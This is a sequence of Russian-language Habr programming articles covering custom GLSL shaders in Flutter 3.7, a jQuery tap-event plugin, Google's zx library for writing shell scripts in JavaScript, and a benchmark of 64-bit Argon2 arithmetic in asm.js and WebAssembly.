Не совсем простая система получилась, но очень дешевая (пришлось только датчик купить), да и как лабораторный вариант и потренироваться для настройки и понимания работы разных компонент – очень полезно.
В данный момент система работает более года (на этой неделе как раз проверил ее и перезапустил скрипт для профилактики) и далее будет еще развиваться, но это совсем другая история. | https://habr.com/ru/post/417327/ | null | ru | null |
# Использование шейдеров во Flutter. Часть 1
*Привет! На связи Юрий Петров, Flutter Team Lead в* [*Friflex*](https://friflex.com/?utm_source=habr_article&utm_medium=link_main_rus_30012023&utm_campaign=Ispolzovanie_shejderov_vo_Flutter_CHast_1)*. Мы разрабатываем кроссплатформенные мобильные приложения для бизнеса и специализируемся на Flutter. В этой серии статей я поделюсь опытом, как с помощью шейдеров на фреймворке разрабатывать приложения с привлекательным и стильным визуалом, которые понравятся заказчику и клиентам.*
**Содержание:**
* [Использование шейдеров во Flutter. Часть 1](https://habr.com/ru/company/friflex/blog/713298/)
* [Использование шейдеров во Flutter. Часть 2](https://habr.com/ru/company/friflex/blog/714956/)
Общее понятие о шейдерах
------------------------
Flutter – это мощный фреймворк для создания мобильных приложений, который позволяет разработчикам создавать красивые и уникальные интерфейсы. Одним из важных инструментов, которые предоставляет Flutter, являются шейдеры. Шейдеры — это программы, которые запускаются на GPU (Графическом процессоре устройства) и используются для отрисовки графики на экране. Шейдеры написаны на языке GLSL (OpenGL Shading Language) и выполняются непосредственно на GPU. Они позволяют реализовать продвинутые визуальные эффекты такие как тени, градиенты и сложные текстуры.
Во Flutter уже встроены несколько шейдеров. Они используются в классах LinearGradient, RadialGradient, SweepGradient, ImageShader и т. д. Данные шейдеры мы можем извлечь из этих объектов и использовать их в таких классах, как ShaderMask или CustomPaint. CustomPaint может использоваться в сочетании с шейдерами, чтобы создать различные визуальные эффекты. Например, мы можем создать CustomPainter, который использует шейдер SweepGradient для создания градиента на фоне, и использовать CustomPaint для нанесения этого градиента на канвас. Также мы можем использовать CustomPaint для создания различных эффектов на тексте таких, как тени или изменение цвета. Эти шейдеры создаются с конкретными параметрами и могут использоваться для достижения широкого спектра визуальных эффектов. Умелое использование шейдеров во Flutter может придать вашим приложениям привлекательный и стильный визуал, который будет выделять их среди остальных. Вы сможете создавать уникальные градиенты, теневые эффекты, реалистичные анимации и многое другое.
Шейдеры — мощный инструмент для разработчиков, который позволяет создавать яркие и запоминающиеся приложения с помощью Flutter.
Использование встроенных шейдеров
---------------------------------
Чтобы лучше разобраться в работе шейдеров, для примера, попробуем создать и отрисовать красивый градиент с помощью класса CustomPaint. Вы уже должны быть знакомы с Flutter. Я не буду детально описывать стандартные методы для работы.
Ниже приведен код, который нарисует на весь экран SweepGradient.
Код рисующий на весь экран SweepGradient
```
import 'package:flutter/material.dart';
void main() {
runApp(MaterialApp(
home: Scaffold(
body: Center(
child: CustomPaint(painter: _MySweepPainter()),
)),
));
}
class _MySweepPainter extends CustomPainter {
_MySweepPainter();
@override
void paint(Canvas canvas, Size size) {
const rect = Rect.largest;
const gradient = SweepGradient(
colors: [Colors.red, Colors.orange, Colors.green],
);
final paint = Paint()..shader = gradient.createShader(rect);
canvas.drawRect(rect, paint);
}
@override
bool shouldRepaint(CustomPainter oldDelegate) => true;
}
```
РезультатРеализация шейдера класса SweepGradient
В данном коде нет ничего необычного. Мы создаем виджет CustomPaint, в него передаём объект \_MySweepPainter. Здесь хочу обратить ваше внимание на часть кода:
```
final paint = Paint()..shader = gradient.createShader(rect);
canvas.drawRect(rect, paint);
```
В данной части кода мы получаем шейдер из ранее созданного градиента с помощью метода createShader(). И рисуем его на канвасе. Таким образом, вы можете быстро извлекать уже существующие шейдеры. Но что если вы хотите сделать анимированный шейдер или написать свой?
Создание собственных шейдеров
-----------------------------
Шейдеры — это программы, которые работают очень быстро и параллельно. Для создания собственных шейдеров, разработчик должен иметь необходимые знания языка GLSL и понимать основные концепции шейдинга, включая входные и выходные переменные, векторы, матрицы, текстуры, цвета и так далее. Не переживайте, на самом деле все не так страшно.
На момент написания этой статьи последней версией Flutter является 3,7 и Dart SDK 2,19. Но до выхода последнего релиза, чтобы создать свой шейдер, необходимо было сделать несколько манипуляций.
1. Написать свой шейдер на языке glsl и поместить его в проект.
2. Скомпилировать шейдер внешним компиллятором в файл SPIR‑V.
3. Загрузить файл SPIR‑V во Flutter.
4. Скомпилировать во Flutter SPIR‑V файл.
5. Создать шейдер из ранее скомпилированного файла SPIR‑V.
6. Передать этот шейдер в CustomPaint.
И это была боль для разработчика! Не всегда получается правильно скомпилировать файл glsl или spriv. Это крайне неудобная и трудозатратная процедура.
С выходом Flutter 3,7 многое поменялось. Был очень упрощено API для работы с шейдерами, и самое главное, был добавлен внутренний компилятор файлов glsl.
Теперь для создания своего шейдера необходимо сделать всего три шага:
1. Написать свой шейдер на языке glsl и поместить его в проект.
2. Создать из фала glsl шейдер (встроенным во Flutter компилятором).
3. Передать это шейдер в CustomPaint
Как написать свой шейдер на языке GLSL
--------------------------------------
Для написания шейдера вам необходимо создать файл в проекте с расширением.glsl.
Вот пример простого шейдера:
shader.glsl
```
uniform float iTime;
uniform vec2 iResolution;
out vec4 fragColor;
void main() {
vec2 sp = gl_FragCoord.xy / iResolution;
vec3 color = cos(iTime + sp.xyx + vec3(0, 1, 5));
fragColor = vec4(color, 1);
}
```
Разберем код построчно:
1. Создаем **входную** переменную **iTime**. Модификатор **uniform** означает, что она не будет меняться при выполнении кода. **Float**— тип переменной. Эта переменная будет зависеть от входного временного параметра, который мы будем отправлять в шейдер из фреймворка Flutter.
2. Создаем **входную** переменную **iResolution**. Это параметр типа **vec2**. Это означает, что вектор состоит из двух цифр. Сюда мы будем передавать размер контейнера для правильного расчета якорной точки.
3. Создаем **выходную** переменную **fragColor**. Эта переменная будет отправляться из шейдера в фреймворк Flutter. Тип этой переменной **vec4 — вектор из четырех цифр.** Данный вектор будет описывать цвет в RGB формате + альфа канал. Почему название переменных именно такие? Просто так принято при написании шейдеров.
4. Пропуск.
5. Точка входа в шейдер.
6. Создаем переменную **sp** типа вектора из двух чисел,которая описывает начальную, якорную точку. Здесь для расчета мы используем объект **gl\_FragCoord** (входит в пакет glsl)**и iResolution** (принимаем из Flutter)для расчета частного.
7. Создаем переменную **color** типа вектора из трех чисел,которая описывает RGB цвет. Здесь мы берем формулу для расчета косинуса угла, и самое важное мы передаем в расчет входную переменную **iTime.** Соответственно с каждой итерацией изменения переменной **iTime**мы будем производить перерасчет цветов.
8. Присваиваем переменной **fragColor** типа вектора из четырех чисел, которая описывает RGB цвет+ альфа канал.
На этом все, шейдер готов! Но я бы вам рекомендовал обязательно попробовать изменить параметры расчетов и посмотреть, как меняется расчет шейдеров. Это будет полезно для понимания, как работают математические функции в GLSL.
Инициализация шейдера во Flutter
--------------------------------
Убедились, что используем Flutter 3,7 и Dart SDK 2,19 или выше.
```
environment:
sdk: '>=2.19.0 <3.0.0'
```
Указываем путь к вашему шейдеру.
```
...
flutter:
shaders:
- shader.glsl
...
```
Теперь необходимо немного изменить наш класс \_MySweepPainter таким образом, чтобы он мог принимать шейдер в конструктор как параметр. И удалим получение шейдера из градиента.
main.dart
```
class _MySweepPainter extends CustomPainter {
_MySweepPainter(this.shader);
final Shader shader;
@override
void paint(Canvas canvas, Size size) {
const Rect rect = Rect.largest;
final Paint paint = Paint()..shader = shader;
canvas.drawRect(rect, paint);
}
@override
bool shouldRepaint(CustomPainter oldDelegate) => true;
}
```
Теперь реализуем весь наш код на Flutter.
main.dart
```
void main() {
runApp(const MyApp());
}
class MyApp extends StatefulWidget {
const MyApp({Key? key}) : super(key: key);
@override
State createState() => \_MyAppState();
}
class \_MyAppState extends State with TickerProviderStateMixin {
var updateTime = 0.0;
@override
void initState() {
super.initState();
createTicker((elapsed) {
updateTime = elapsed.inMilliseconds / 1000;
setState(() {});
}).start();
}
@override
Widget build(BuildContext context) {
return FutureBuilder(
future: \_initShader(),
builder: (context, snapshot) {
if (snapshot.hasData) {
final shader = snapshot.data!.fragmentShader()
..setFloat(0, updateTime)
..setFloat(1, 300)
..setFloat(2, 300);
return CustomPaint(painter: \_MySweepPainter(shader));
} else {
return const Center(
child: CircularProgressIndicator(),
);
}
},
);
}
Future \_initShader() {
return FragmentProgram.fromAsset("shader.glsl");
}
}
```
Разберем этот код построчно и остановимся на важных моментах.
17. Создаем переменную **updateTime,** которая изначально равна 0. Эта переменная в дальнейшем будет передаваться в шейдер (как параметр iTime).
22. Создаем специальный таймер, который будет обновлять переменную **updateTime** на каждый цикл итерации и присваивать ей значения частного **elapsed.inMilliseconds / 1000.**
30. Создаем FutureBuilder, так как создание шейдера — это асинхронная операция.
49. Через специальный класс FragmentProgram создаем шейдер из файла shader.glsl.
34. После успешного получения Future мы инициализируем шейдер с помощью метода fragmentShader() и передаем в шейдер переменную **updateTime** и два числа, которые в шейдере будут сопоставляться с входной переменной **iResolution.**
38. И, наконец, передаем готовый шейдер в класс \_MySweepPainter.
В итоге получаем такой результат.
Работа шейдераХотите поделиться своим опытом работы с шейдерами? Жду ваши вопросы в комментариях!
В следующей части мы разберем, как импортировать готовые шейдеры с сайта <https://glslsandbox.com/> и как управлять шейдерами из Flutter. | https://habr.com/ru/post/713298/ | null | ru | null |
# jTap — событие клика для сенсорных устройств
Привет, **%username%**!
Начну с того, что с каждым новым днем волна мобильных устройств все более накрывает людей. И, как повелось, практически все новейшие устройства обладают сенсорным экраном. Да что уж говорить, сейчас просматривать любимую соц. сеть можно даже с некоторых холодильников. Доминирование настольных компьютеров — сейчас это как рассказы о динозаврах — такое мы уже вряд ли увидим.
На мой взгляд, самым значительным изобретением в мире веб-разработок, за последние несколько лет, стали [CSS media queries](https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Media_queries) — они позволяют организовывать внешний вид веб-приложения так, что он в корне может отличатся на разных разрешениях экрана. Любой форм-фактор девайса может иметь собственное представление дизайна и это прекрасно. Мы все это знаем, но речь пойдет не об этом, а о обработке событий…
#### Зачем же нужен jTap?
Помехой при адаптации приложения для моб. устройств стает то, что сенсорный экран не имеет привычных нам событий управления. Установив обработчик по типу события «click» на настольном компьютере и, например, планшете мы не получим одинаковый результат работы. Возьмем строку кода для примера:
```
$('element').click(handler);
```
и представим что функция **handler** должна показывать нам меню. На ПК все отработает безукоризненно, а вот на тачскрине — с задержкой, равной ~300ms. Для большинства людей это не критично и кто-то, может быть, даже не заметит ее, а вот для перфекционистов вроде меня — раздражительно.
Именно по-этому мной и был написан плагин для jQuery, полное имя которого **jQuery Tap Event**.
#### Что умеет плагин?
Обрабатывать прикосновения к экрану и только. Его главные цели — максимальная простота и работа без нареканий.
Кто-то может поспорить и сказать что лучше использовать уже написанные расширения с полным набором событий для touch-устройств. И он окажется прав в тех случаях, когда проект будет требовать обработки широкого спектра событий. Но, зачастую, если речь идет о веб-сайтах, достаточно пары типов: **swipe** и **tap**.
*Разысканные мной наработки либо работали плохо, либо не так как надо, либо не работали вовсе. Некоторые из них мне нравились, но имели пяток ненужных мне типов событий и, как следствие, внушительную часть лишнего кода. Это и стало отправной точкой для разработки своего варианта.*
**p.s.** Примечательной особенностью плагина является его универсальность. Tap event будет работать одинаково как на ПК, так и на устройстве с сенсорным экраном.
#### Как использовать?
«Проще паренной репы»!
Подключите файл плагина после jQuery следующей строкой:
```
```
Осталось произнести «Вуаля!» и установить обработчики там, где это необходимо. Делается это так:
```
$('selector').tap(handler);
```
**Важно:** метод «tap» можно и нужно проверить на существование следующим образом:
```
$.isFunction($.fn.tap);
```
и, для отказоустойчивости, поступить следующим образом:
```
var clickEvent = $.isFunction($.fn.tap) ? 'tap' : 'click';
$('selector')[clickEvent](handler);
```
Но, все же, лучше просто использовать делегирование события:
```
$('selector').on('tap', handler);
```
#### В завершение...
На этом все. Плагин небольшой и с узкой направленностью. Надеюсь кому-то он станет полезным.
Напоследок размещу основные ссылки:
* **Демонстрация:** <http://firstvector.org/jTap>
* **jQuery Plugins:** <http://plugins.jquery.com/jTap/>
* **Репозиторий:** <https://github.com/BR0kEN-/jTap/>
*Спасибо за внимание.* | https://habr.com/ru/post/191078/ | null | ru | null |
# zx – bash скрипты на javascript
Bash широко используется в программировании и является превосходным инструментом, но и у него есть свои недостатки. Поэтому Google разработал пакет zx, который позволяет использовать bash внутри javascript / typescript и имеет около 17к звёзд на github. В данной статье будут рассмотрены плюсы и минусы библиотеки, главные аспекты использования и примеры работы.
Стандартная библиотека Node.js предосталяет возможность написания bash скриптов, но zx справляется с этим намного лучше. Пакет реализовывает удобные асинхронные оболочки над [child\_procces](https://nodejs.org/api/child_process.html), позволяет не использовать множество аргуметов, а также представляет основные команды bash, такие как cd, pwd и т.п, из коробки.
Фичи
----
* Все функции ($, cd, fetch и т.д.) доступны сразу без какого-либо импорта.
* Выполнение команды возвращает `ProcessPromise`
* Поддержка Node.js streams
* Использование `require()` в ESM модулях
* Автоматическое экранирование данных массива, переданных в команду
* Выполнение markdawn файлов
* Выполнение скриптов по http
Применение
----------
Для успешной работы следует описать скрипт в [ESM](https://habr.com/ru/company/domclick/blog/532084/) модуле. Это необходимо, чтобы использовать оператор `await` сразу на выполняемой команде. Если необходимо использовать обычный .js/.ts файл, то нужно обернуть функции в `void async function () {...}()`.
В первой строке файла необходимо добавить:
```
#!/usr/bin/env zx
```
Для запуска можно использовать как bash:
```
chmod +x ./script.mjs
./script.mjs
```
Так и zx:
```
zx ./script.mjs
```
Чтобы изменить облочку, в которой должен выполняться скрипт, нужно использовать команду `$.shell`:
```
$.shell = '/usr/bin/zsh'
```
Помимо использования стандартных bash команд с помощью zx можно писать и свои. Для этого следует использовать обёртку вида `await $`command``, которая выполняет описанную команду. При нулевом коде завершения программы возвращается объект `ProcessPromise,` который имеет следующую структуру:
```
class ProcessPromise extends Promise {
readonly stdin: Writable
readonly stdout: Readable
readonly stderr: Readable
readonly exitCode: Promise
pipe(dest): ProcessPromise
}
```
При другом любом другом коде завершения выбрасывается исключение `ProcessOutput`, которое имеет следующую структуру:
```
class ProcessOutput {
readonly stdout: string
readonly stderr: string
readonly exitCode: number
toString(): string
}
```
В случае, когда нужно узнать, какой код возвращает определённая команда, можно применить функцию `notthrow()`, использование которой предотвращает выбрасывание исключения и возвращает `ProcessPromise`.
Используемые пакеты
-------------------
В zx включено несколько пакетов, которые доступны без импорта. Один из них – [chalk](https://www.npmjs.com/package/chalk), он может быть применён для настройки стилей вывода текста в терминал. Пример использования:
```
console.log(chalk.purple('Hello world!'))
```
Ещё включён пакет [fs](https://nodejs.org/api/fs.html) для работы с файловой системой.
```
let greetingMessage = await fs.readFile('./greetings.txt')
```
Пакет [os](https://nodejs.org/api/os.html) обеспечивает работу с операционной системой.
```
await $`cd ${os.homedir()} && touch Documents/page1.txt`
```
Сравнение с аналогами
---------------------
Существует проект [shellpy](https://github.com/lamerman/shellpy), который реализовывает работу с bash из python, но, к сожалению, так и не вышла stable версия, поэтому использовать его в продакшене — не лучшая идея. Существует возможность использования subprocess в python, но это затратно по времени и не предоставляет настолько же удобной работы, как zx.
В java тоже есть возможность работы с shell, но нет обёртки над основными командами, поэтому всю логику приходится реализовывать с помощью средств языка, что уже не является основной целью данной статьи.
Кроме этого существует много языков, в которых можно работать с bash, но на их описание уйдёт крайне много времени.
Вывод
-----
zx — мощная библиотека для работы с bash из javascript. Проект развивается и поддерживается Google. В нём уже реализованы основные функции, которые можно легко и быстро использовать без самописных обёрток. Ко всему этому все процессы выполняются асинхронно, что в большинстве случаев улучшает производительность. А сама возможность использования bash в высокоуровневом языке программирования позволяет с лёгкостью писать скрипты для автоматизации процессов в ОС.
---
#### На правах рекламы
[Облачный хостинг](https://vdsina.ru/) для бизнеса и любых крупных проектов — максимальная конфигурация — 128 ядер CPU, 512 ГБ RAM, 4000 ГБ NVMe, надёжные дата-центры, защита от DDoS-атак «из коробки», активация любого сервера в течение минуты!
Подписывайтесь на [наш чат в Telegram](https://t.me/vdsina).
[](https://vdsina.ru/) | https://habr.com/ru/post/563312/ | null | ru | null |
# 64-битная арифметика в браузере и WebAssembly
 WebAssembly активно разрабатывается и уже достиг состояния, когда собранный модуль можно попробовать в Chrome Canary и Firefox Nightly, включив флажок в настройках.
Сравним производительность арифметических вычислений с 64-битными числами в WebAssembly, asm.js, PNaCl и native-коде. Посмотрим на инструменты, которые есть для WebAssembly сейчас, и заглянем в недалёкое будущее.
Disclaimer
==========
WebAssembly сейчас в стадии разработки, уже через месяц статья может устареть. Цель статьи — рассказать о положении дел, для тех, кто интересуется.
TL;DR
=====
[демо](https://antelle.github.io/argon2-browser), [графики](https://github.com/antelle/argon2-browser#the-numbers)
Алгоритм
========
В качестве бенчмарка возьмём Argon2, который мне недавно понадобилось вычислять в браузере.
Argon2 ([github](https://github.com/P-H-C/phc-winner-argon2), [хабр](https://habrahabr.ru/post/281569/)) — это сравнительно новая криптографическая функция формирования ключа (key derivation function, KDF), победившая на [Password Hashing Competition](https://password-hashing.net/).
Она основана на 64-битной арифметике, вот функции, за одну итерацию выполняющиеся около 60M раз:
```
uint64_t fBlaMka(uint64_t x, uint64_t y) {
const uint64_t m = UINT64_C(0xFFFFFFFF);
const uint64_t xy = (x & m) * (y & m);
return x + y + 2 * xy;
}
uint64_t rotr64(const uint64_t w, const unsigned c) {
return (w >> c) | (w << (64 - c));
}
```
Сложности реализации на asm.js
==============================
Казалось бы, всё просто: взять да перемножить два 64-битных числа, как это и сделано в native-коде argon2, например, вызвав sse-инструкцию. Но только не в браузере.
В V8, как известно, нет 64-битных integer-ов, поэтому вся арифметика за неимением лучшего эмулируется 31-битными smi (small integer). Что очень медленно. Настолько медленно и настолько безобразно, что это неоднократно упоминали разработчики Unity, и 64-битные типы [включили](https://github.com/WebAssembly/design/issues/81) в WebAssembly MVP, хотя сначала хотели отложить на потом.
Посмотрим на код, сгенерированный asm.js для функции умножения двух int64, это функция из compiler-rt:
```
function ___muldsi3($a, $b) {
$a = $a | 0;
$b = $b | 0;
var $1 = 0, $2 = 0, $3 = 0, $6 = 0, $8 = 0, $11 = 0, $12 = 0;
$1 = $a & 65535;
$2 = $b & 65535;
$3 = Math_imul($2, $1) | 0;
$6 = $a >>> 16;
$8 = ($3 >>> 16) + (Math_imul($2, $6) | 0) | 0;
$11 = $b >>> 16;
$12 = Math_imul($11, $1) | 0;
return (tempRet0 = (($8 >>> 16) + (Math_imul($11, $6) | 0) | 0) + ((($8 & 65535) + $12 | 0) >>> 16) | 0, 0 | ($8 + $12 << 16 | $3 & 65535)) | 0;
}
```
[Вот она](https://github.com/kripken/emscripten/blob/07b87426f898d6e9c677db291d9088c839197291/system/lib/compiler-rt/muldi3.c#L45), и вот [она же на JavaScript](https://github.com/kripken/emscripten/blob/07b87426f898d6e9c677db291d9088c839197291/src/fastLong.js#L2). Реализация кстати очень хорошая, не вызывающая deopt-ов в V8. Проверим это на всякий случай:
Скомпилируем asm.js, отключив переименование переменных, чтобы имена функций в коде были читабельными, и запустим с флагами, позволяющими открыть артефакты в [IR Hydra](http://mrale.ph/irhydra/2/) (можно просто установить npm i -g node-irhydra):
Как видим, V8 даже заинлайнил функцию `__muldsi3` в `__muldi3`. Там же можно посмотреть на ассемблерный код этой функции.
**IR**
```
v50 EnterInlined ___muldsi3 Tagged
i71 Constant 65535 Smi
i72 Bitwise BIT_AND i234 i71 TaggedNumber
i76 Bitwise BIT_AND i236 i71 TaggedNumber
t79 LoadContextSlot t47[13] Tagged
t82 CheckValue t79 0x3d78a90c3b59 Tagged
i83 Mul i76 i72 TaggedNumber
i88 Constant 16 Smi
i89 Shr i234 i88 TaggedNumber
i94 Shr i83 i88 TaggedNumber
i100 Mul i76 i89 TaggedNumber
i104 Add i94 i100 TaggedNumber
i111 Shr i236 i88 TaggedNumber
i118 Mul i111 i72 TaggedNumber
i125 Shr i104 i88 TaggedNumber
i131 Mul i111 i89 TaggedNumber
i135 Add i125 i131 TaggedNumber
i142 Bitwise BIT\_AND i104 i71 TaggedNumber
i145 Add i142 i118 TaggedNumber
i151 Shr i145 i88 TaggedNumber
i153 Add i135 i151 TaggedNumber
t238 Change i153 i to t
v158 StoreContextSlot t47[12] = t238 changes[ContextSlots] Tagged
v159 Simulate id=319 var[3] = t47, var[1] = i234, var[2] = i236, var[6] = i83, var[5] = t6, var[8] = i104, var[4] = t6, var[10] = i118, var[9] = t6, var[7] = t6, push i153 Tagged
i163 Add i104 i118 TaggedNumber
i166 Shl i163 i88 TaggedNumber
i170 Bitwise BIT\_AND i83 i71 TaggedNumber
i172 Bitwise BIT\_OR i166 i170 TaggedNumber
v179 LeaveInlined Tagged
v180 Simulate id=172 pop 1 / push i172 Tagged
v181 Goto B3 Tagged
```
**Assembler**140 andl r8,0xffff
;; <@43,#72> gap
147 movq r9,rdx
;; <@44,#76> bit-i
150 andl r9,0xffff
;; <@48,#79> load-context-slot
170 movq r11,[r11+0x77]
;; <@50,#82> check-value
174 movq r10,0x3d78a90c3b59 ;; object: 0x3d78a90c3b59
184 cmpq r11,r10
187 jnz 968
;; <@51,#82> gap
193 movq rdi,r9
;; <@52,#83> mul-i
196 imull rdi,r8
;; <@53,#83> gap
200 movq r11,rax
;; <@54,#89> shift-i
203 shrl r11, 16
;; <@55,#89> gap
207 movq r12,rdi
;; <@56,#94> shift-i
210 shrl r12, 16
;; <@58,#100> mul-i
214 imull r9,r11
;; <@60,#104> add-i
218 addl r9,r12
;; <@61,#104> gap
221 movq r12,rdx
;; <@62,#111> shift-i
224 shrl r12, 16
;; <@63,#111> gap
228 movq r14,r12
;; <@64,#118> mul-i
231 imull r14,r8
;; <@65,#118> gap
235 movq r8,r9
;; <@66,#125> shift-i
238 shrl r8, 16
;; <@68,#131> mul-i
242 imull r12,r11
;; <@70,#135> add-i
246 addl r12,r8
;; <@71,#135> gap
249 movq r8,r9
;; <@72,#142> bit-i
252 andl r8,0xffff
;; <@74,#145> add-i
259 addl r8,r14
;; <@76,#151> shift-i
262 shrl r8, 16
;; <@78,#153> add-i
266 addl r8,r12
;; <@80,#238> smi-tag
269 movl r12,r8
272 shlq r12, 32
;; <@84,#158> store-context-slot
289 movq [r11+0x6f],r12
;; <@86,#163> add-i
293 leal r8,[r9+r14\*1]
;; <@88,#166> shift-i
297 shll r8, 16
;; <@90,#170> bit-i
301 andl rdi,0xffff
;; <@92,#172> bit-i
307 orl rdi,r8
Chrome генерирует не такой оптимальный код, как можно было бы сделать, имея аннотации типов, разработчики V8 принципиально не хотят поддерживать asm.js js subset, и вобщем-то, правильно. В отличие от этого Firefox, видя "use asm", в случае если код проходит валидацию, выкидывает некоторые проверки, в результате чего получившийся код быстрее где-то в 3..4 раза.
По сравнению с native-кодом, Chrome и Safari медленнее в 50 раз, Firefox — в 12.
IE11 достаточно медленный, а вот Edge с включённым в настройках asm.js где-то посередине между Chrome и Firefox:
WebAssembly
===========
Скомпилируем этот код в WebAssembly. Сделать это [можно](https://github.com/WebAssembly/binaryen#cc-source--asm2wasm--webassembly) несколькими способами, для начала попробуем C/C++ Source ⇒ asm2wasm ⇒ WebAssembly (некоторые параметры исключены для краткости):
```
cmake \
-DCMAKE_TOOLCHAIN_FILE=~/emsdk_portable/emscripten/incoming/cmake/Modules/Platform/Emscripten.cmake \
-DCMAKE_C_FLAGS="-O3" \
-DCMAKE_EXE_LINKER_FLAGS="-O3 -g0 -s 'EXPORTED_FUNCTIONS=[\"_argon2_hash\"]' -s BINARYEN=1" && cmake --build .
```
Можно использовать тот же toolchain, что и для сборки asm.js, указав, что мы хотим использовать binaryen (`-s BINARYEN=1`).
На выходе мы получим:
* wast-файл: текстовое представление WebAssembly, S-Expressions.
* mappedGlobals: json с функциями, экспортируемыми из модуля и доступными JavaScript, там будут runtime-функции и то, что мы указали в `EXPORTED_FUNCTIONS`.
* js-обёртка, которая управляет wasm-модулем или может выполнить код другими способами, если wasm не поддерживается.
* asm.js-код, который будет использован как fallback, на случай, когда нет поддержки wasm.
Преобразуем wast-файл в [бинарный формат](https://github.com/WebAssembly/design/blob/master/BinaryEncoding.md) wasm:
```
~/binaryen/bin/wasm-as argon2.wast > argon2.wasm
```
Используем модуль в браузере
============================
Что же умеет делать js-обёртка, кроме вызова wasm-модуля, и как её использовать?
* загрузить бинарный wasm-модуль
* создать объект `Module` с настройками
* любым способом импортировать скрипт в браузер
```
global.Module = {
print: log,
printErr: log,
setStatus: log,
wasmBinary: loadedWasmBinaryAsArrayBuffer,
wasmJSMethod: 'native-wasm,',
asmjsCodeFile: 'dist/argon2.asm.js',
wasmBinaryFile: 'dist/argon2.wasm',
wasmTextFile: 'dist/argon2.wast'
};
var xhr = new XMLHttpRequest();
xhr.open('GET', 'dist/argon2.wasm', true);
xhr.responseType = 'arraybuffer';
xhr.onload = function() {
global.Module.wasmBinary = xhr.response;
// load script
};
xhr.send(null);
```
Здесь мы указваем на расположение скомпилированных артефактов, подключаем свои логи и определяем метод, которым будем выполнять код. Из методов можно выбрать:
* `native-wasm`: использовать поддержку wasm в браузере;
* `interpret-s-expr`: загрузить текстовое представление .wast и интерпретировать его;
* `interpret-binary`: интерпретировать бинарный формат .wasm;
* `interpret-asm2wasm`: загрузить asm.js-код, скомпилировать его в .wasm и выполнить;
* `asmjs`: выполнить asm.js-код.
Можно перечислить несколько методов через запятую, тогда будет выполнен первый успешный из них. По умолчанию берётся метод `native-wasm,interpret-binary`, то есть попробовать, нет ли wasm, если нет, то интерпретировать бинарный модуль.
После успешной загрузки в объекте `Module` появляются все экспортированные методы.
Пример использования ([полностью](https://github.com/antelle/argon2-browser/blob/master/docs/js/calc.js#L105)):
```
var pwd = Module.allocate(Module.intArrayFromString('password'), 'i8', Module.ALLOC_NORMAL);
// ...
var res = Module._argon2_hash(t_cost, m_cost, parallelism, pwd, pwdlen, salt, saltlen,
hash, hashlen, encoded, encodedlen, argon2_type, version);
var encodedStr = Module.Pointer_stringify(encoded);
```
Firefox Nightly позволяет заглянуть внутрь wasm-модуля:
В Chrome пока нет инструментов для просмотра wasm, модуль даже не отображается в редакторе. Но к релизу тоже обещают сделать view source.
Интерпретатор из Binaryen
=========================
Binaryen генерирует интерпретатор, который умеет выполнять текстовый .wast и бинарный .wasm форматы. Попробовать его можно, выставив `method` в `interpret-s-expr` или `interpret-binary`. Пока что интерпретатор настолько медленный, что подсчёта хэша я не дождался, а оценил по меньшему числу итераций. Оно составило бы полчаса, в то время как в Chrome было 7 сек и даже в IE11 45 сек.
Качество кода
=============
Посмотрим, какой же код у нас получился. Я написал простой тест, чтобы .wast был предельно маленьким, [вот он](https://github.com/antelle/argon2-browser/blob/master/perf-test.c):
```
uint64_t fBlaMka(uint64_t x, uint64_t y) {
const uint64_t m = UINT64_C(0xFFFFFFFF);
const uint64_t xy = (x & m) * (y & m);
return x + y + 2 * xy;
}
int exp_fBlaMka() {
for (unsigned i = 0; i < 100000000; i++) {
if (fBlaMka(i, i) == i - 1) {
return 1;
}
}
return 0;
}
```
Заглянем в .wast и найдём нашу функцию:
```
(func $_exp_fBlaMka (result i32)
(local $0 i32)
(set_local $0
(i32.const 0)
)
(loop $while-out$0 $while-in$1
(if # код цикла, куда заинлайнена наша функция
(i32.and
(i32.eq
(call $___muldi3 # начало функции
(call $_i64Add
(call $_bitshift64Shl
(get_local $0)
(i32.const 0)
(i32.const 1)
)
(i32.load
(i32.const 168)
)
(i32.const 2)
(i32.const 0)
)
(i32.load
(i32.const 168)
)
(get_local $0)
(i32.const 0)
)
(i32.add
(get_local $0)
(i32.const -1)
)
)
# ...
```
Снова i32? Почему так получается? Вспомним, что мы получили wasm-код, скомпилировав asm.js, поэтому i64 мы здесь и не увидим. Неудивительно, что такой код тоже выполняется долго.
Однако же, теперь скорость выполнения в Chrome получилась такой же, как в Firefox, и чуть быстрее, чем asm.js в Firefox.
LLVM WebAssembly Backend
========================
Теперь попробуем более сложный способ, C/C++ Source ⇒ WebAssembly LLVM backend ⇒ s2wasm ⇒ WebAssembly.
LLVM научился генерировать WebAssembly, делая это без emscripten. Но делает он это пока очень плохо, получившийся модуль не всегда работает.
Собираем LLVM с поддержкой WebAssembly:
```
cmake -G Ninja -DLLVM_EXPERIMENTAL_TARGETS_TO_BUILD=WebAssembly .. && ninja
```
Включаем её в компиляции:
```
export EMCC_WASM_BACKEND=1
-DCMAKE_EXE_LINKER_FLAGS="-s WASM_BACKEND=1"
```
Чтобы попробовать разные версии LLVM в emscripten, указаываем путь к нему в ~/.emscripten, LLVM\_ROOT. И… получаем ошибку при загрузке модуля в браузер.
Можно ещё собрать не форком fastcomp, используемом в emcc, а ванильным LLVM из апстрима, как-то так:
```
clang -emit-llvm --target=wasm32 -S perf-test.c
llc perf-test.ll -march=wasm32
~/binaryen/bin/s2wasm perf-test.s > perf-test.wast
~/binaryen/bin/wasm-as perf-test.wast > perf-test.wasm
```
Тоже падает. Возможно, wasm из wast для V8 надо собирать [sexpr-wasm-prototype](https://github.com/WebAssembly/sexpr-wasm-prototype), а не binaryen, но это всё равно не помогает.
Однако же простой тест вполне себе работает, можно хотя бы оценить производительность на примере одной функции. Посмотрим на получившийся .wast:
```
(func $fBlaMka (param $0 i64) (param $1 i64) (result i64)
(i64.add
(i64.add
(get_local $1)
(get_local $0)
)
(i64.mul
(i64.and
(i64.shl
(get_local $0)
(i64.const 1)
)
(i64.const 8589934590)
)
(i64.and
(get_local $1)
(i64.const 4294967295)
)
)
)
)
```
Ура, i64! Загрузим его в браузер и оценим время, в сравнении с прошлым вариантом:
```
console.time('i64');
Module._exp_fBlaMka();
console.timeEnd('i64');
i32: 1851.5ms
i64: 414.49ms
```
В светлом будущем скорость 64-битной арифметики лучше в несколько раз.
Threading
=========
